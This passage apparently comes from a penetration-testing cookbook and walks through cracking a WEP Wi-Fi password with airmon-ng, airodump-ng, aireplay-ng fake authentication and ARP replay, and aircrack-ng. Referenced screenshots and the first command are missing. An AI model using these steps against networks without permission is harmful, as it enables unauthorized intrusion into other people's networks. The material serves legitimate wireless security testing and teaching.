How to do it...

The following steps demonstrate the Aircrack:

We type the airmon-ng command to check whether our card has been detected by Kali:

Next, we need to set our adapter to the monitor mode by using the following command:

      airmon-ng start wlan0mon

The following screenshot shows the output of the preceding command:

Now in order to see what routers are running in the neighborhood, we use the following command:

      airodump-ng wlan0mon

The following screenshot shows the output of the preceding command:

Here, we note the BSSID of the network we want to crack; in our case, it's B8:C1:A2:07:BC:F1 and the channel number is 9. We stop the process by pressing Ctrl + C and leave the window open.

Now we capture the packets using airodump-ng with the -w switch to write these packets to a file:

        airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlan0mon

The following screenshot shows the output of the preceding command:

Now we need to watch the beacons and data column; these numbers start from 0 and increase as the packets are passed between the router and other devices. We need at least 20,000 initialization vectors to successfully crack the Wired Equivalent Privacy (WEP) password:
To speed the process, we open another Terminal window and run aireplay-ng and perform a fake authentication using this command:

       aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlan0mon 
       {fake authentication}

The following screenshot shows an example of the preceding command:

       aireplay-ng -3 -b BSSID wlan0mon

The following screenshot shows an example of the preceding command:

Once we have enough packets, we start aircrack-ng and provide the filename where we saved the packets:

       aircrack-ng filename.cap

The following screenshot shows an example of the preceding command: